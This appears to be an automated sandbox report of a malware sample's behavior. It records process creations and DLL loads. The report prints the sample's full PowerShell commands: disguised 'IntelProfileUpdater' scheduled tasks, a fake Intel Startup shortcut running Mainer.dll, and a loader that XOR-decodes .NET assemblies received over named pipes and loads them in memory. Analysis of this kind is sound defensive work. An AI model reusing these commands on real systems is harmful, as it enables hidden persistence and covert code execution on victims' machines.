Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"GLSXQXRVFAHVDEQYPRSDVGLAEEFHUSGJKSWIUJCYTRNPAMDOUHMAIYAEEBPXFFTUYFACQTGLCVYRNSSHYWFWFOKLAJSVUCDOKGIGITRSISPPMSNOBNSJHLJGXIPDNLBS\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"LXUACJGCHJQDEYDGSNQXYJQGFJMGQKRJPWRHKFILVEKMQAQLQIGQRGMOGMXGBBDBLKMWPJKULMBQPXWHUFCXYTKCBESBUWOKFPHBSEPSYYAUBJXTYXPNJDXVBPCECGSP\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"MKVJMXBCRWWOUVEMTDUWQIHXBQGAJWWVNHRKQRRWQFJJKQLQDUAMSCSMTRQMPIGQMRUXJCBJAWINPSYTEBWUSBXLEFTCFYAERPGJYGUJVRKAINIJYABRUTKDFRYTLNAF\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
